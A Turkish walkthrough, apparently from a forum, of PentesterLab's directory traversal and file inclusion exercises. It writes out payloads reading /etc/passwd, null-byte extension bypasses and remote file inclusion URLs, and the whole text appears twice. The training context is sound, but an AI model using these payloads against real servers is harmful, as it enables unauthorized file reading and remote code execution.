Okan Köse tarafından yazılmıştır.
PentesterLab-Web For Pentester serimize devam ediyoruz.
Bu yazımızda Directory Traversal & File Include örneklerini inceliyelim.
Yukarıdaki resimde de göreceğiniz üzere Directory Traversal bölümümüzde sadece resim bulunmakta.
İlk örneğimizdeki resmi sağ tıklayıp resmi görüntüle dediğimiz de yeni bir sayfa açılıyor.
Yeni açılan sayfamızda URL’i incelediğimizde file=hacker.png olduğunu görüyoruz.
Sistemin Linux olduğunu bildiğimiz için file değerini değiştirip ../../../../../../../../../../../etc/passwd yeni değerimizi giriyoruz.
dirtrav/example1.php?file=../../../../../../../../../../../etc/passwd
../ ifadesi Linux sistemlerde bir üst dizine ulaşmak için kullanılır.
En üst dizine ulaştığımızda bulunan dizini değiştiremeyeceği için bu ifadeden kaç tane kullandığımızın önemi yoktur.
İkinci örneğimizde de resmi görüntüle deyip bizi karşılayan sayfanın URL’ini incelediğimizde dosya konumunu belirttiğini görüyoruz.
Bu örneğimizde dikkat etmemiz gereken ise dosyanın bulunduğu yerden itibaren üst dizine ulaşmaktır.
dirtrav/example2.php?file=var/www/files/../../../../../../../../../../../etc/passwd
Bu örneğimizin ilk örnekle farkı ise file=hacker ile bitiyor olması.
Dosya uzantısı yani .png kod içerisine eklenmiştir.
Bu eklenen uzantıyı iptal etmemiz için %00 yani Null ifadesini kullanabiliriz, php bu ifadeyi gördükten sonra kalan kısmı okumaz.
dirtrav/example3.php?file=../../../../../../../../../../../etc/passwd%00
File Unclude bölümünün ilk örneğine baktığımızda URL’de page=intro.php yazdığını fark ediyoruz.
File Ornek 1
Page parametresine Directory Traversal örneğindeki gibi ../../../../../../../../../../../etc/passwd yazdığımızda passwd dosyasının içeriğini görüyoruz.
fileincl/example1.php?page=../../../../../../../../../../../etc/passwd
File Ornek 2
Hiçbir kontrol yapılmadığı için etc/passwd dosyasının içeriği ekrana yansıdı.
Buradaki zafiyetten yararlanmak için sunucuya kendi oluşturduğumuz php dosyasını yükleyerek kodlarımızı çalıştırabiliriz.
Ayrıca PentesterLab çevrimiçi kod sağlar.
fileincl/example1.php?page=https://pentesterlab.com/test_include.txt
File Ornek 2-1
Bu örneğimizde URL’e baktığımızda page=intro görüyoruz yani birinci örneğimizden farkı burada kullanıcıdan dosya ismi alınırken uzantısı alınmamış.
Uzantı ekleme işlemi programcı tarafından kod kısmında yapılmıştır. Kendi oluşturduğumuz dosyanın sonuna uzantısını vermeden yüklenmesini sağlayabiliriz.
Ya da Directory Traversal üçüncü örnekte olduğu gibi Null-Byte karakteri ekleyerek, kod ile eklenen uzantıyı bypass edebilir ve bu şekilde etc/passwd dosyamızın içeriğini görebiliriz.
fileincl/example2.php?page=../../../../../../../../../../../../etc/passwd%00
File Ornek 2-2
Birinci örnekte verdiğimiz PentesterLab’ın çevrimiçi kodunu aynı şekil url’in sonun %00 ekleyerek deneyebiliriz.
fileincl/example2.php?page=https://pentesterlab.com/test_include.txt�
File İnclude bölümünde incelediğimiz örnekleri File Upload bölümünde detaylı olarak ele alacağız.
[TR] [PentesterLab] Web For Pentester – Directory Traversal & File Include
PentesterLab-Web For Pentester serimize devam ediyoruz.
Bu yazımızda Directory Traversal & File Include örneklerini inceliyelim.
Directory Traversal 1.Örnek
Yukarıdaki resimde de göreceğiniz üzere Directory Traversal bölümümüzde sadece resim bulunmakta.
İlk örneğimizdeki resmi sağ tıklayıp resmi görüntüle dediğimiz de yeni bir sayfa açılıyor.
Yeni açılan sayfamızda URL’i incelediğimizde file=hacker.png olduğunu görüyoruz.
Sistemin Linux olduğunu bildiğimiz için file değerini değiştirip ../../../../../../../../../../../etc/passwd yeni değerimizi giriyoruz.
dirtrav/example1.php?file=../../../../../../../../../../../etc/passwd
../ ifadesi Linux sistemlerde bir üst dizine ulaşmak için kullanılır.
En üst dizine ulaştığımızda bulunan dizini değiştiremeyeceği için bu ifadeden kaç tane kullandığımızın önemi yoktur.
Directory Traversal 2.Örnek
İkinci örneğimizde de resmi görüntüle deyip bizi karşılayan sayfanın URL’ini incelediğimizde dosya konumunu belirttiğini görüyoruz.
Bu örneğimizde dikkat etmemiz gereken ise dosyanın bulunduğu yerden itibaren üst dizine ulaşmaktır.
dirtrav/example2.php?file=var/www/files/../../../../../../../../../../../etc/passwd
Directory Traversal 3.Örnek
Bu örneğimizin ilk örnekle farkı ise file=hacker ile bitiyor olması.
Dosya uzantısı yani .png kod içerisine eklenmiştir.
Bu eklenen uzantıyı iptal etmemiz için %00 yani Null ifadesini kullanabiliriz, php bu ifadeyi gördükten sonra kalan kısmı okumaz.
dirtrav/example3.php?file=../../../../../../../../../../../etc/passwd%00
File Include 1.Örnek
File Unclude bölümünün ilk örneğine baktığımızda URL’de page=intro.php yazdığını fark ediyoruz.
File Ornek 1
Page parametresine Directory Traversal örneğindeki gibi ../../../../../../../../../../../etc/passwd yazdığımızda passwd dosyasının içeriğini görüyoruz.
fileincl/example1.php?page=../../../../../../../../../../../etc/passwd
File Ornek 2
Hiçbir kontrol yapılmadığı için etc/passwd dosyasının içeriği ekrana yansıdı.
Buradaki zafiyetten yararlanmak için sunucuya kendi oluşturduğumuz php dosyasını yükleyerek kodlarımızı çalıştırabiliriz.
Ayrıca PentesterLab çevrimiçi kod sağlar.
fileincl/example1.php?page=https://pentesterlab.com/test_include.txt
File Include 2.Örnek
File Ornek 2-1
Bu örneğimizde URL’e baktığımızda page=intro görüyoruz yani birinci örneğimizden farkı burada kullanıcıdan dosya ismi alınırken uzantısı alınmamış.
Uzantı ekleme işlemi programcı tarafından kod kısmında yapılmıştır. Kendi oluşturduğumuz dosyanın sonuna uzantısını vermeden yüklenmesini sağlayabiliriz.
Ya da Directory Traversal üçüncü örnekte olduğu gibi Null-Byte karakteri ekleyerek, kod ile eklenen uzantıyı bypass edebilir ve bu şekilde etc/passwd dosyamızın içeriğini görebiliriz.
fileincl/example2.php?page=../../../../../../../../../../../../etc/passwd%00
File Ornek 2-2
Birinci örnekte verdiğimiz PentesterLab’ın çevrimiçi kodunu aynı şekil url’in sonun %00 ekleyerek deneyebiliriz.
fileincl/example2.php?page=https://pentesterlab.com/test_include.txt�
File İnclude bölümünde incelediğimiz örnekleri File Upload bölümünde detaylı olarak ele alacağız.
Moderatör tarafında düzenlendi: